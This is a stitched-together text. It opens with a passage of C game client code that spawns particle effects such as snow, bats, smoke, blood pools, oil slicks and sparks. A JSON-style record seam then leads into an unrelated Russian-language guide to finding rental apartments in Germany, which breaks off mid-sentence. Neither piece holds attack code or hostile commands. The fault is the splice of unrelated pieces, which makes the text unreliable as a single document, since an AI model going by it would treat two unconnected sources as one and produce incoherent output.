P_ANIM;\n\n\tVectorCopy( origin, p->org );\n\tVectorCopy( vel, p->vel );\n\tVectorClear( p->accel );\n\n}\n\n// Rafael Shrapnel\nvoid CG_AddParticleShrapnel( localEntity_t *le ) {\n\treturn;\n}\n// done.\n\nint CG_NewParticleArea( int num ) {\n\t// const char *str;\n\tchar *str;\n\tchar *token;\n\tint type;\n\tvec3_t origin, origin2;\n\tint i;\n\tfloat range = 0;\n\tint turb;\n\tint numparticles;\n\tint snum;\n\n\tstr = (char *) CG_ConfigString( num );\n\tif ( !str[0] ) {\n\t\treturn ( 0 );\n\t}\n\n\t// returns type 128 64 or 32\n\ttoken = COM_Parse( &str );\n\ttype = atoi( token );\n\n\tif ( type == 1 ) {\n\t\trange = 128;\n\t} else if ( type == 2 ) {\n\t\trange = 64;\n\t} else if ( type == 3 ) {\n\t\trange = 32;\n\t} else if ( type == 0 ) {\n\t\trange = 256;\n\t} else if ( type == 4 ) {\n\t\trange = 8;\n\t} else if ( type == 5 ) {\n\t\trange = 16;\n\t} else if ( type == 6 ) {\n\t\trange = 32;\n\t} else if ( type == 7 ) {\n\t\trange = 64;\n\t}\n\n\n\tfor ( i = 0; i < 3; i++ )\n\t{\n\t\ttoken = COM_Parse( &str );\n\t\torigin[i] = atof( token );\n\t}\n\n\tfor ( i = 0; i < 3; i++ )\n\t{\n\t\ttoken = COM_Parse( &str );\n\t\torigin2[i] = atof( token );\n\t}\n\n\ttoken = COM_Parse( &str );\n\tnumparticles = atoi( token );\n\n\ttoken = COM_Parse( &str );\n\tturb = atoi( token );\n\n\ttoken = COM_Parse( &str );\n\tsnum = atoi( token );\n\n\tfor ( i = 0; i < numparticles; i++ )\n\t{\n\t\tif ( type >= 4 ) {\n\t\t\tCG_ParticleBubble( cgs.media.waterBubbleShader, origin, origin2, turb, range, snum );\n\t\t} else {\n\t\t\tCG_ParticleSnow( cgs.media.snowShader, origin, origin2, turb, range, snum );\n\t\t}\n\t}\n\n\treturn ( 1 );\n}\n\nvoid CG_SnowLink( centity_t *cent, qboolean particleOn ) {\n\tcparticle_t *p, *next;\n\tint id;\n\n\tid = cent->currentState.frame;\n\n\tfor ( p = active_particles ; p ; p = next )\n\t{\n\t\tnext = p->next;\n\n\t\tif ( p->type == P_WEATHER || p->type == P_WEATHER_TURBULENT ) {\n\t\t\tif ( p->snum == id ) {\n\t\t\t\tif ( particleOn ) {\n\t\t\t\t\tp->link = qtrue;\n\t\t\t\t} else {\n\t\t\t\t\tp->link = qfalse;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t}\n}\n\nvoid CG_ParticleBat( centity_t *cent ) {\n\tcparticle_t *p;\n\tvec3_t origin;\n\n\tif ( !free_particles ) {\n\t\treturn;\n\t}\n\n\tp = free_particles;\n\tfree_particles = p->next;\n\tp->next = active_particles;\n\tactive_particles = p;\n\tp->time = cg.time;\n\tp->color = 0;\n\tp->alpha = 1.0;\n\tp->alphavel = 0;\n\tp->height = 4;\n\tp->width = 4;\n\n\tVectorCopy( cent->lerpOrigin, origin );\n\tVectorCopy( origin, p->org );\n\tVectorClear( p->vel );\n\n\tp->accel[0] = p->accel[1] = p->accel[2] = 0;\n\n\tp->snum = cent->currentState.frame;\n\n\tp->type = P_BAT;\n\tp->endtime = -1; // last one frame only\n}\n\n\nvoid CG_ParticleBats( qhandle_t pshader, centity_t *cent ) {\n\tcparticle_t *p;\n\tvec3_t origin;\n\n\tif ( !free_particles ) {\n\t\treturn;\n\t}\n\tp = free_particles;\n\tfree_particles = p->next;\n\tp->next = active_particles;\n\tactive_particles = p;\n\tp->time = cg.time;\n\tp->color = 0;\n\tp->alpha = 0.40;\n\tp->alphavel = 0;\n\tp->pshader = pshader;\n\tp->height = 4;\n\tp->width = 4;\n\n\tVectorCopy( cent->currentState.origin, origin );\n\tVectorCopy( origin, p->org );\n\n\tp->org[0] = p->org[0] + ( crandom() * 32 );\n\tp->org[1] = p->org[1] + ( crandom() * 32 );\n\tp->org[2] = p->org[2] + ( crandom() * 32 );\n\n\tp->vel[0] = cent->currentState.angles[0] * cent->currentState.time;\n\tp->vel[1] = cent->currentState.angles[1] * cent->currentState.time;\n\tp->vel[2] = cent->currentState.angles[2] * cent->currentState.time;\n\n\tp->accel[0] = p->accel[1] = p->accel[2] = 0;\n\n\tp->snum = cent->currentState.frame;\n\n\tp->type = P_BAT;\n}\n\nvoid CG_BatsUpdatePosition( centity_t *cent ) {\n\tcparticle_t *p, *next;\n\tint id;\n\tfloat time;\n\n\tid = cent->currentState.frame;\n\n\tfor ( p = active_particles ; p ; p = next )\n\t{\n\t\tnext = p->next;\n\n\t\tif ( p->type == P_BAT ) {\n\t\t\tif ( p->snum == id ) {\n\t\t\t\ttime = ( cg.time - p->time ) * 0.001;\n\n\t\t\t\tp->org[0] = p->org[0] + p->vel[0] * time;\n\t\t\t\tp->org[1] = p->org[1] + p->vel[1] * time;\n\t\t\t\tp->org[2] = p->org[2] + p->vel[2] * time;\n\n\t\t\t\tp->time = cg.time;\n\n\t\t\t\tp->vel[0] = cent->currentState.angles[0] * cent->currentState.time;\n\t\t\t\tp->vel[1] = cent->currentState.angles[1] * cent->currentState.time;\n\t\t\t\tp->vel[2] = cent->currentState.angles[2] * cent->currentState.time;\n\n\t\t\t}\n\t\t}\n\n\t}\n}\n\n\nvoid CG_ParticleImpactSmokePuffExtended( qhandle_t pshader, vec3_t origin, vec3_t dir, int radius, int lifetime, int vel, int acc, int maxroll, float alpha ) {\n\tcparticle_t *p;\n\n\tif ( !pshader ) {\n\t\tCG_Printf( \"CG_ParticleImpactSmokePuff pshader == ZERO!\\n\" );\n\t}\n\n\tif ( !free_particles ) {\n\t\treturn;\n\t}\n\n\tif ( !CG_ParticleLODCheck() ) {\n\t\treturn;\n\t}\n\n\tp = free_particles;\n\tfree_particles = p->next;\n\tp->next = active_particles;\n\tactive_particles = p;\n\tp->time = cg.time;\n\tp->alpha = alpha;\n\tp->alphavel = 0;\n\n\t// (SA) roll either direction\n\tp->roll = rand() % ( 2 * maxroll );\n//\tp->roll = crandom()*(float)(maxroll*2);\n\tp->roll -= maxroll;\n\n\tp->pshader = pshader;\n\n\tp->endtime = cg.time + lifetime;\n\tp->startfade = cg.time + 100;\n\n\tp->width = rand() % 4 + radius; //----(SA)\n\tp->height = rand() % 4 + radius; //----(SA)\n\n\tp->endheight = p->height * 2;\n\tp->endwidth = p->width * 2;\n\n\tp->type = P_SMOKE_IMPACT;\n\n\tVectorCopy( origin, p->org );\n\tVectorScale( dir, vel, p->vel );\n\tVectorScale( dir, acc, p->accel );\n//\tVectorSet(p->vel, 0, 0, vel);\n//\tVectorSet(p->accel, 0, 0, acc);\n\n\tp->rotate = qtrue;\n}\n\nvoid CG_ParticleImpactSmokePuff( qhandle_t pshader, vec3_t origin ) {\n\tCG_ParticleImpactSmokePuffExtended( pshader, origin, tv( 0,0,1 ), 8, 500, 20, 20, 30, 0.25f );\n}\n\n\nvoid CG_Particle_Bleed( qhandle_t pshader, vec3_t start, vec3_t dir, int fleshEntityNum, int duration ) {\n\tcparticle_t *p;\n\n\tif ( !pshader ) {\n\t\tCG_Printf( \"CG_Particle_Bleed pshader == ZERO!\\n\" );\n\t}\n\n\tif ( !CG_ParticleLODCheck() ) {\n\t\treturn;\n\t}\n\n\tif ( !free_particles ) {\n\t\treturn;\n\t}\n\tp = free_particles;\n\tfree_particles = p->next;\n\tp->next = active_particles;\n\tactive_particles = p;\n\tp->time = cg.time;\n\tp->alpha = 1.0;\n\tp->alphavel = 0;\n\tp->roll = 0;\n\n\tp->pshader = pshader;\n\n\tp->endtime = cg.time + duration;\n\n\tif ( fleshEntityNum ) {\n\t\tp->startfade = cg.time;\n\t} else {\n\t\tp->startfade = cg.time + 100;\n\t}\n\n\tp->width = 4;\n\tp->height = 4;\n\n\tp->endheight = 4 + rand() % 3;\n\tp->endwidth = p->endheight;\n\n\tp->type = P_SMOKE;\n\n\tVectorCopy( start, p->org );\n\tp->vel[0] = 0;\n\tp->vel[1] = 0;\n\tp->vel[2] = -20;\n\tVectorClear( p->accel );\n\n\tp->rotate = qfalse;\n\n\tp->roll = rand() % 179;\n\n\tif ( fleshEntityNum ) {\n\t\tp->color = MUSTARD;\n\t} else {\n\t\tp->color = BLOODRED;\n\t}\n\tp->alpha = 0.75;\n\n}\n\n//void CG_Particle_OilParticle (qhandle_t pshader, centity_t *cent)\nvoid CG_Particle_OilParticle( qhandle_t pshader, vec3_t origin, vec3_t dir, int ptime, int snum ) { // snum is parent ent number?\n\tcparticle_t *p;\n\n\tint time;\n\tint time2;\n\tfloat ratio;\n\n//\tfloat\tduration = 1500;\n\tfloat duration = 2000;\n\n\ttime = cg.time;\n\ttime2 = cg.time + ptime;\n\n\tratio = (float)1 - ( (float)time / (float)time2 );\n\n\tif ( !pshader ) {\n\t\tCG_Printf( \"CG_Particle_OilParticle == ZERO!\\n\" );\n\t}\n\n\tif ( !free_particles ) {\n\t\treturn;\n\t}\n\n\tif ( !CG_ParticleLODCheck() ) {\n\t\treturn;\n\t}\n\n\tp = free_particles;\n\tfree_particles = p->next;\n\tp->next = active_particles;\n\tactive_particles = p;\n\tp->time = cg.time;\n\tp->alphavel = 0;\n\tp->roll = 0;\n\n\tp->pshader = pshader;\n\n\tp->endtime = cg.time + duration;\n\n\tp->startfade = p->endtime;\n\n\tp->width = 2;\n\tp->height = 2;\n\n\tp->endwidth = 1;\n\tp->endheight = 1;\n\n\tp->type = P_SMOKE;\n\n\tVectorCopy( origin, p->org );\n\n\tp->vel[0] = ( dir[0] * ( 16 * ratio ) );\n\tp->vel[1] = ( dir[1] * ( 16 * ratio ) );\n\tp->vel[2] = ( dir[2] * ( 16 * ratio ) );\n//\tp->vel[2] = (dir[2]);\n\n\tp->snum = snum;\n\n\tVectorClear( p->accel );\n\n\tp->accel[2] = -20;\n\n\tp->rotate = qfalse;\n\n\tp->roll = rand() % 179;\n\n\tp->alpha = 0.5;\n\n\tp->color = BLOODRED;\n\n}\n\n\nvoid CG_Particle_OilSlick( qhandle_t pshader, centity_t *cent ) {\n\tcparticle_t *p;\n\n\tif ( !pshader ) {\n\t\tCG_Printf( \"CG_Particle_OilSlick == ZERO!\\n\" );\n\t}\n\n\tif ( !free_particles ) {\n\t\treturn;\n\t}\n\n\tif ( !CG_ParticleLODCheck() ) {\n\t\treturn;\n\t}\n\n\tp = free_particles;\n\tfree_particles = p->next;\n\tp->next = active_particles;\n\tactive_particles = p;\n\tp->time = cg.time;\n\n\tif ( cent->currentState.angles2[2] ) {\n\t\tp->endtime = cg.time + cent->currentState.angles2[2];\n\t} else {\n\t\tp->endtime = cg.time + 60000;\n\t}\n\n\tp->startfade = p->endtime;\n\n\tp->alpha = 1.0;\n\tp->alphavel = 0;\n\tp->roll = 0;\n\n\tp->pshader = pshader;\n\n\tif ( cent->currentState.angles2[0] || cent->currentState.angles2[1] ) {\n\t\tp->width = cent->currentState.angles2[0];\n\t\tp->height = cent->currentState.angles2[0];\n\n\t\tp->endheight = cent->currentState.angles2[1];\n\t\tp->endwidth = cent->currentState.angles2[1];\n\t} else\n\t{\n\t\tp->width = 8;\n\t\tp->height = 8;\n\n\t\tp->endheight = 16;\n\t\tp->endwidth = 16;\n\t}\n\n\tp->type = P_FLAT_SCALEUP;\n\n\tp->snum = cent->currentState.density;\n\n\tVectorCopy( cent->currentState.origin, p->org );\n\n\tp->org[2] += 0.55 + ( crandom() * 0.5 );\n\n\tp->vel[0] = 0;\n\tp->vel[1] = 0;\n\tp->vel[2] = 0;\n\tVectorClear( p->accel );\n\n\tp->rotate = qfalse;\n\n\tp->roll = rand() % 179;\n\n\tp->alpha = 0.75;\n\n}\n\nvoid CG_OilSlickRemove( centity_t *cent ) {\n\tcparticle_t *p, *next;\n\tint id;\n\n\tid = cent->currentState.density;\n\n\tif ( !id ) {\n\t\tCG_Printf( \"CG_OilSlickRevove NULL id\\n\" );\n\t}\n\n\tfor ( p = active_particles ; p ; p = next )\n\t{\n\t\tnext = p->next;\n\n\t\tif ( p->type == P_FLAT_SCALEUP ) {\n\t\t\tif ( p->snum == id ) {\n\t\t\t\tp->endtime = cg.time + 100;\n\t\t\t\tp->startfade = p->endtime;\n\t\t\t\tp->type = P_FLAT_SCALEUP_FADE;\n\n\t\t\t}\n\t\t}\n\n\t}\n}\n\nqboolean ValidBloodPool( vec3_t start ) {\n#define EXTRUDE_DIST 0.5\n\n\tvec3_t angles;\n\tvec3_t right, up;\n\tvec3_t this_pos, x_pos, center_pos, end_pos;\n\tfloat x, y;\n\tfloat fwidth, fheight;\n\ttrace_t trace;\n\tvec3_t normal;\n\n\tfwidth = 16;\n\tfheight = 16;\n\n\tVectorSet( normal, 0, 0, 1 );\n\n\tvectoangles( normal, angles );\n\tAngleVectors( angles, NULL, right, up );\n\n\tVectorMA( start, EXTRUDE_DIST, normal, center_pos );\n\n\tfor ( x = -fwidth / 2; x < fwidth; x += fwidth )\n\t{\n\t\tVectorMA( center_pos, x, right, x_pos );\n\n\t\tfor ( y = -fheight / 2; y < fheight; y += fheight )\n\t\t{\n\t\t\tVectorMA( x_pos, y, up, this_pos );\n\t\t\tVectorMA( this_pos, -EXTRUDE_DIST * 2, normal, end_pos );\n\n\t\t\tCG_Trace( &trace, this_pos, NULL, NULL, end_pos, -1, CONTENTS_SOLID );\n\n\n\t\t\tif ( trace.entityNum < ( MAX_ENTITIES - 1 ) ) { // may only land on world\n\t\t\t\treturn qfalse;\n\t\t\t}\n\n\t\t\tif ( !( !trace.startsolid && trace.fraction < 1 ) ) {\n\t\t\t\treturn qfalse;\n\t\t\t}\n\n\t\t}\n\t}\n\n\treturn qtrue;\n}\n\nvoid CG_BloodPool( localEntity_t *le, qhandle_t pshader, trace_t *tr ) {\n\tcparticle_t *p;\n\tqboolean legit;\n\tvec3_t start;\n\tfloat rndSize;\n\n\tif ( !pshader ) {\n\t\tCG_Printf( \"CG_BloodPool pshader == ZERO!\\n\" );\n\t}\n\n\tif ( !free_particles ) {\n\t\treturn;\n\t}\n\n\tVectorCopy( tr->endpos, start );\n\tlegit = ValidBloodPool( start );\n\n\tif ( !legit ) {\n\t\treturn;\n\t}\n\n\tp = free_particles;\n\tfree_particles = p->next;\n\tp->next = active_particles;\n\tactive_particles = p;\n\tp->time = cg.time;\n\n\tp->endtime = cg.time + 3000;\n\tp->startfade = p->endtime;\n\n\tp->alpha = 1.0;\n\tp->alphavel = 0;\n\tp->roll = 0;\n\n\tp->pshader = pshader;\n\n\trndSize = 0.4 + random() * 0.6;\n\n\tp->width = 8 * rndSize;\n\tp->height = 8 * rndSize;\n\n\tp->endheight = 16 * rndSize;\n\tp->endwidth = 16 * rndSize;\n\n\tp->type = P_FLAT_SCALEUP;\n\n\tVectorCopy( start, p->org );\n\n\tp->vel[0] = 0;\n\tp->vel[1] = 0;\n\tp->vel[2] = 0;\n\tVectorClear( p->accel );\n\n\tp->rotate = qfalse;\n\n\tp->roll = rand() % 179;\n\n\tp->alpha = 0.75;\n\n\tp->color = BLOODRED;\n}\n\n#define NORMALSIZE 16\n#define LARGESIZE 32\n\nvoid CG_ParticleBloodCloud( centity_t *cent, vec3_t origin, vec3_t dir ) {\n\tfloat length;\n\tfloat dist;\n\tfloat crittersize;\n\tvec3_t angles, forward;\n\tvec3_t point;\n\tcparticle_t *p;\n\tint i;\n\n\tdist = 0;\n\n\tlength = VectorLength( dir );\n\tvectoangles( dir, angles );\n\tAngleVectors( angles, forward, NULL, NULL );\n\n\tif ( cent->currentState.density == 0 ) { // normal ai size\n\t\tcrittersize = NORMALSIZE;\n\t} else {\n\t\tcrittersize = LARGESIZE;\n\t}\n\n\tif ( length ) {\n\t\tdist = length / crittersize;\n\t}\n\n\tif ( dist < 1 ) {\n\t\tdist = 1;\n\t}\n\n\tVectorCopy( origin, point );\n\n\tfor ( i = 0; i < dist; i++ )\n\t{\n\t\tVectorMA( point, crittersize, forward, point );\n\n\t\tif ( !free_particles ) {\n\t\t\treturn;\n\t\t}\n\n\t\tp = free_particles;\n\t\tfree_particles = p->next;\n\t\tp->next = active_particles;\n\t\tactive_particles = p;\n\n\t\tp->time = cg.time;\n\t\tp->alpha = 1.0;\n\t\tp->alphavel = 0;\n\t\tp->roll = 0;\n\n\t\tp->pshader = cgs.media.smokePuffShader;\n\n\t\tp->endtime = cg.time + 450 + ( crandom() * 100 );\n\n\t\tif ( cent->currentState.aiChar == AICHAR_HELGA || cent->currentState.aiChar == AICHAR_HEINRICH ) {\n\t\t\t// stick around longer\n\t\t\tp->endtime += 3000;\n\t\t}\n\n\t\tp->startfade = cg.time;\n\n\t\tif ( cent->currentState.density == 0 ) { // normal ai size\n\t\t\tp->width = NORMALSIZE;\n\t\t\tp->height = NORMALSIZE;\n\n\t\t\tp->endheight = NORMALSIZE;\n\t\t\tp->endwidth = NORMALSIZE;\n\t\t} else // large frame\n\t\t{\n\t\t\tp->width = LARGESIZE;\n\t\t\tp->height = LARGESIZE;\n\n\t\t\tp->endheight = LARGESIZE;\n\t\t\tp->endwidth = LARGESIZE;\n\t\t}\n\n\t\tp->type = P_SMOKE;\n\n\t\tVectorCopy( origin, p->org );\n\n\t\tp->vel[0] = 0;\n\t\tp->vel[1] = 0;\n\t\tp->vel[2] = -1;\n\n\t\tVectorClear( p->accel );\n\n\t\tp->rotate = qfalse;\n\n\t\tp->roll = rand() % 179;\n\n\t\tif ( cent->currentState.aiChar == AICHAR_ZOMBIE ) {\n\t\t\tp->color = MUSTARD;\n\t\t} else {\n\t\t\tp->color = BLOODRED;\n\t\t}\n\n\t\tp->alpha = 0.75;\n\n\t}\n\n\n}\n\nvoid CG_ParticleBloodCloudZombie( centity_t *cent, vec3_t origin, vec3_t dir ) {\n\tfloat length;\n\tfloat dist;\n\tfloat crittersize;\n\tvec3_t angles, forward;\n\tvec3_t point;\n\tcparticle_t *p;\n\tint i;\n\n\tdist = 0;\n\n\tlength = VectorLength( dir );\n\tvectoangles( dir, angles );\n\tAngleVectors( angles, forward, NULL, NULL );\n\n\tif ( cent->currentState.density == 0 ) { // normal ai size\n\t\tcrittersize = NORMALSIZE / 4;\n\t} else {\n\t\tcrittersize = LARGESIZE / 3;\n\t}\n\n\tif ( length ) {\n\t\tdist = length / crittersize;\n\t}\n\n\tif ( dist < 1 ) {\n\t\tdist = 1;\n\t}\n\n\tVectorCopy( origin, point );\n\n\tfor ( i = 0; i < dist; i++ )\n\t{\n\t\tVectorMA( point, crittersize, forward, point );\n\n\t\tif ( !free_particles ) {\n\t\t\treturn;\n\t\t}\n\n\t\tp = free_particles;\n\t\tfree_particles = p->next;\n\t\tp->next = active_particles;\n\t\tactive_particles = p;\n\n\t\tp->time = cg.time;\n\t\tp->alpha = 0.2;\n\t\tp->alphavel = 0;\n\t\tp->roll = 0;\n\n\t\tp->pshader = cgs.media.bloodCloudShader;\n\n\t\t// RF, stay around for long enough to expand and dissipate naturally\n\t\tif ( length ) {\n\t\t\tp->endtime = cg.time + 3500 + ( crandom() * 2000 );\n\t\t} else {\n\t\t\tp->endtime = cg.time + 750 + ( crandom() * 500 );\n\t\t}\n\n\t\tp->startfade = cg.time;\n\n\t\tif ( cent->currentState.density == 0 ) { // normal ai size\n\t\t\tp->width = NORMALSIZE;\n\t\t\tp->height = NORMALSIZE;\n\n\t\t\t// RF, expand while falling\n\t\t\tp->endheight = NORMALSIZE * 4.0;\n\t\t\tp->endwidth = NORMALSIZE * 4.0;\n\t\t} else // large frame\n\t\t{\n\t\t\tp->width = LARGESIZE;\n\t\t\tp->height = LARGESIZE;\n\n\t\t\t// RF, expand while falling\n\t\t\tp->endheight = LARGESIZE * 3.0;\n\t\t\tp->endwidth = LARGESIZE * 3.0;\n\t\t}\n\n\t\tif ( !length ) {\n\t\t\tp->width *= 0.2;\n\t\t\tp->height *= 0.2;\n\n\t\t\tp->endheight = NORMALSIZE;\n\t\t\tp->endwidth = NORMALSIZE;\n\t\t}\n\n\t\tp->type = P_SMOKE;\n\n\t\tVectorCopy( origin, p->org );\n\n\t\tp->vel[0] = crandom() * 6;\n\t\tp->vel[1] = crandom() * 6;\n\t\tp->vel[2] = random() * 6;\n\n\t\t// RF, add some gravity/randomness\n\t\tp->accel[0] = crandom() * 3;\n\t\tp->accel[1] = crandom() * 3;\n\t\tp->accel[2] = -PARTICLE_GRAVITY * 0.2;\n\n\t\tVectorClear( p->accel );\n\n\t\tp->rotate = qfalse;\n\n\t\tp->roll = rand() % 179;\n\n\t\tp->color = ZOMBIE;\n\n\t}\n\n\n}\n\nvoid CG_ParticleSparks( vec3_t org, vec3_t vel, int duration, float x, float y, float speed ) {\n\tcparticle_t *p;\n\n\tif ( !free_particles ) {\n\t\treturn;\n\t}\n\n\tif ( !CG_ParticleLODCheck() ) {\n\t\treturn;\n\t}\n\n\tp = free_particles;\n\tfree_particles = p->next;\n\tp->next = active_particles;\n\tactive_particles = p;\n\tp->time = cg.time;\n\n\tp->endtime = cg.time + duration;\n\tp->startfade = cg.time + duration / 2;\n\n\tp->color = EMISIVEFADE;\n\tp->alpha = 0.4;\n\tp->alphavel = 0;\n\n\tp->height = 0.5;\n\tp->width = 0.5;\n\tp->endheight = 0.5;\n\tp->endwidth = 0.5;\n\n\tp->pshader = cgs.media.tracerShader;\n\n\tp->type = P_SMOKE;\n\n\tVectorCopy( org, p->org );\n\n\tp->org[0] += ( crandom() * x );\n\tp->org[1] += ( crandom() * y );\n\n\tp->vel[0] = vel[0];\n\tp->vel[1] = vel[1];\n\tp->vel[2] = vel[2];\n\n\tp->accel[0] = p->accel[1] = p->accel[2] = 0;\n\n\tp->vel[0] += ( crandom() * 4 );\n\tp->vel[1] += ( crandom() * 4 );\n\tp->vel[2] += ( 20 + ( crandom() * 10 ) ) * speed;\n\n\tp->accel[0] = crandom() * 4;\n\tp->accel[1] = crandom() * 4;\n\n}\n\nvoid CG_ParticleDust( centity_t *cent, vec3_t origin, vec3_t dir ) {\n\tfloat length;\n\tfloat dist;\n\tfloat crittersize;\n\tvec3_t angles, forward;\n\tvec3_t point;\n\tcparticle_t *p;\n\tint i;\n\n\tdist = 0;\n\n\tVectorNegate( dir, dir );\n\tlength = VectorLength( dir );\n\tvectoangles( dir, angles );\n\tAngleVectors( angles, forward, NULL, NULL );\n\n\tif ( cent->currentState.density == 0 ) { // normal ai size\n\t\tcrittersize = NORMALSIZE;\n\t} else {\n\t\tcrittersize = LARGESIZE;\n\t}\n\n\tif ( length ) {\n\t\tdist = length / crittersize;\n\t}\n\n\tif ( dist < 1 ) {\n\t\tdist = 1;\n\t}\n\n\tVectorCopy( origin, point );\n\n\tfor ( i = 0; i < dist; i++ )\n\t{\n\t\tVectorMA( point, crittersize, forward, point );\n\n\t\tif ( !free_particles ) {\n\t\t\treturn;\n\t\t}\n\n\t\tp = free_particles;\n\t\tfree_particles = p->next;\n\t\tp->next = active_particles;\n\t\tactive_particles = p;\n\n\t\tp->time = cg.time;\n\t\tp->alpha = 5.0;\n\t\tp->alphavel = 0;\n\t\tp->roll = 0;\n\n\t\tp->pshader = cgs.media.bloodCloudShader;\n\n\t\t// RF, stay around for long enough to expand and dissipate naturally\n\t\tif ( length ) {\n\t\t\tp->endtime = cg.time + 4500 + ( crandom() * 3500 );\n\t\t} else {\n\t\t\tp->endtime = cg.time + 750 + ( crandom() * 500 );\n\t\t}\n\n\t\tp->startfade = cg.time;\n\n\t\tif ( cent->currentState.density == 0 ) { // normal ai size\n\t\t\tp->width = NORMALSIZE;\n\t\t\tp->height = NORMALSIZE;\n\n\t\t\t// RF, expand while falling\n\t\t\tp->endheight = NORMALSIZE * 4.0;\n\t\t\tp->endwidth = NORMALSIZE * 4.0;\n\t\t} else // large frame\n\t\t{\n\t\t\tp->width = LARGESIZE;\n\t\t\tp->height = LARGESIZE;\n\n\t\t\t// RF, expand while falling\n\t\t\tp->endheight = LARGESIZE * 3.0;\n\t\t\tp->endwidth = LARGESIZE * 3.0;\n\t\t}\n\n\t\tif ( !length ) {\n\t\t\tp->width *= 0.2;\n\t\t\tp->height *= 0.2;\n\n\t\t\tp->endheight = NORMALSIZE;\n\t\t\tp->endwidth = NORMALSIZE;\n\t\t}\n\n\t\tp->type = P_SMOKE;\n\n\t\tVectorCopy( point, p->org );\n\n\t\tp->vel[0] = crandom() * 6;\n\t\tp->vel[1] = crandom() * 6;\n\t\tp->vel[2] = random() * 20;\n\n\t\t// RF, add some gravity/randomness\n\t\tp->accel[0] = crandom() * 3;\n\t\tp->accel[1] = crandom() * 3;\n\t\tp->accel[2] = -PARTICLE_GRAVITY * 0.4;\n\n\t\tVectorClear( p->accel );\n\n\t\tp->rotate = qfalse;\n\n\t\tp->roll = rand() % 179;\n\n\t\tif ( cent->currentState.density ) {\n\t\t\tp->color = GREY75;\n\t\t} else {\n\t\t\tp->color = MUSTARD;\n\t\t}\n\n\t\tp->alpha = 0.75;\n\n\t}\n\n\n}\n\nvoid CG_ParticleMisc( qhandle_t pshader, vec3_t origin, int size, int duration, float alpha ) {\n\tcparticle_t *p;\n\n\tif ( !pshader ) {\n\t\tCG_Printf( \"CG_ParticleImpactSmokePuff pshader == ZERO!\\n\" );\n\t}\n\n\tif ( !free_particles ) {\n\t\treturn;\n\t}\n\n\tif ( !CG_ParticleLODCheck() ) {\n\t\treturn;\n\t}\n\n\tp = free_particles;\n\tfree_particles = p->next;\n\tp->next = active_particles;\n\tactive_particles = p;\n\tp->time = cg.time;\n\tp->alpha = 1.0;\n\tp->alphavel = 0;\n\tp->roll = rand() % 179;\n\n\tp->pshader = pshader;\n\n\tif ( duration > 0 ) {\n\t\tp->endtime = cg.time + duration;\n\t} else {\n\t\tp->endtime = duration;\n\t}\n\n\tp->startfade = cg.time;\n\n\tp->width = size;\n\tp->height = size;\n\n\tp->endheight = size;\n\tp->endwidth = size;\n\n\tp->type = P_SPRITE;\n\n\tVectorCopy( origin, p->org );\n\n\tp->rotate = qfalse;\n}\n"} {"text": "# Квартирный вопрос\n\nКвартиры в Германии ищутся только лично, с визитом и осмотрами. Удаленно найти хороший вариант на долгий срок невозможно. Поэтому обычно последовательность выглядит так:\n- Вы еще не приехали, но ищете место размещения на первое время. Вариантов не много - **Airbnb**, [**Mr. Lodge**](https://mrlodge.com) или какое-либо агентство (см. список ниже). Можете попробовать писать хозяевам по объявлениям, но шанс получить контракт исчезающе мал. **Внимание**: заранее узнавайте, чтобы в этом жилье была возможность зарегистрироваться (Anmeldung). Иначе могут быть сложности с получением страховки, SCHUFA, открытием банковского счета.\n- Вы уже приехали, вышли на работу, но находитесь на испытательном сроке (или на временном контракте, что еще хуже), не получали еще зарплат, возможно, не говорите по-немецки. На этом этапе ваша задача - получить хоть какой-нибудь контракт аренды на более-менее длинный срок (минимум полгода-год). В силу входных данных \"только понаехавшего\", это будет достаточно трудно, поскольку конкуренция среди арендаторов высока, на квартиру могут претендовать десятки, а то и сотни людей (в Берлине попроще, в Мюнхене посложнее). Но практика показывает, что за 3-4 недели обычно варианты находятся. Готовьтесь в первый месяц по нескольку раз в день проверять новые объявления, распечатывать пачками документы и тратить вечера на многочисленные осмотры квартир. Не отчаивайтесь, рано или поздно и на вашей улице будет праздник.\n- Вы уже \"понаехавший со стажем\", стабильная зарплата последние месяцы, есть осознание того, что вокруг происходит. Можно искать \"квартиру мечты\", а не \"что дают\". Процесс ничем не отличается от предыдущего этапа за исключением, что теперь вы выглядите намного надежнее для арендодателей, поэтому предложений должно быть заметно больше и времени на поиск уйдет меньше.\n\n\n## Пошаговая инструкция\nВ данном разделе будет сделан акцент на второй пункт поисков, поскольку он интереснее всех. Итак, как искать квартиры?\n\n1. Выбираете какой-нибудь сайт из списка ниже, регистрируетесь там, заполняете по возможности профиль. Для начала рекомендуется https://www.immobilienscout24.de/ aka \"скаут\", как самый крупный.\n2. Определяетесь с районом(-ами) поиска. Чем ближе к центру, тем дороже и сложнее снять. Самые бюджетные варианты находятся за чертой города. Поэтому полезно изучить транспортную схему выбранного района, какие виды транспорта там ходят - S-Bahn, U-Bahn, Bus, Tram - и с какой периодичностью. Проложите маршрут в Google Maps от дома до работы и оцените время в пути, количество пересадок, удаленность остановок от дома/работы и т.д.\n3. На выбранных сайтах просматриваете появление новых квартир в районе поиска. В случае Скаута, лучше использовать мобильное приложение – оно на английском языке и имеет широкий функционал. Рекомендуется создать \"Saved search\", и тогда вам будут приходить push уведомления о новых объявлениях в момент их публикации. Чем раньше вы откликнетесь на объявление, тем больше вероятности, что вас позовут на просмотр. Также можно настроить уведомления на почту, ФБ Мессенджер или оповещения в браузере. Не забывайте, что спрос очень большой и скорость реакции имеет значение.\n4. Готовите \"вступительную речь\" - сообщение, которое будете отправлять хозяевам при отклике на объявление. Рекомендуется писать или на немецком, или на немецком и английском. Предложите коллегам или знакомым оценить ваше творчество, если не уверены в знании языка.\n5. **Самое важное!** Готовите комплект документов. Это именно то, что будет вас выделять среди множества других претендентов на квартиру, вполне возможно с лучшими входными данными. Когда вы после осмотра отдаете владельцу\\агенту заранее подготовленную папку со всеми вашими документами, а не заполняете анкету на коленке в темноте не пишущей ручкой - это очень хороший плюс в вашу пользу. А поскольку других плюсов на данный момент у вас, скорее всего, нет, надо пользоваться возможностью по-максимуму. Также рекомендуется выложить электронные копии документов, например, на Google Drive или Dropbox, и посылать ссылку на них сразу же при отклике на объявление.\n6. Собственно, с вашей стороны все. Теперь осталось постоянно проверять сервис на наличие новых объявлений и откликаться на все, что выглядит сколь угодно прилично и вписывается в ваш бюджет.\n7. Если вас приглашают на осмотр - немедленно соглашаетесь и идете. Если в квартире все нравится, то отдаете хозяину или агенту ваш комплект документов и надеетесь на лучшее.\n8. В один прекрасный день вам позвонят и скажут \"Мы готовы сдать вам квартиру\". Радуетесь, но 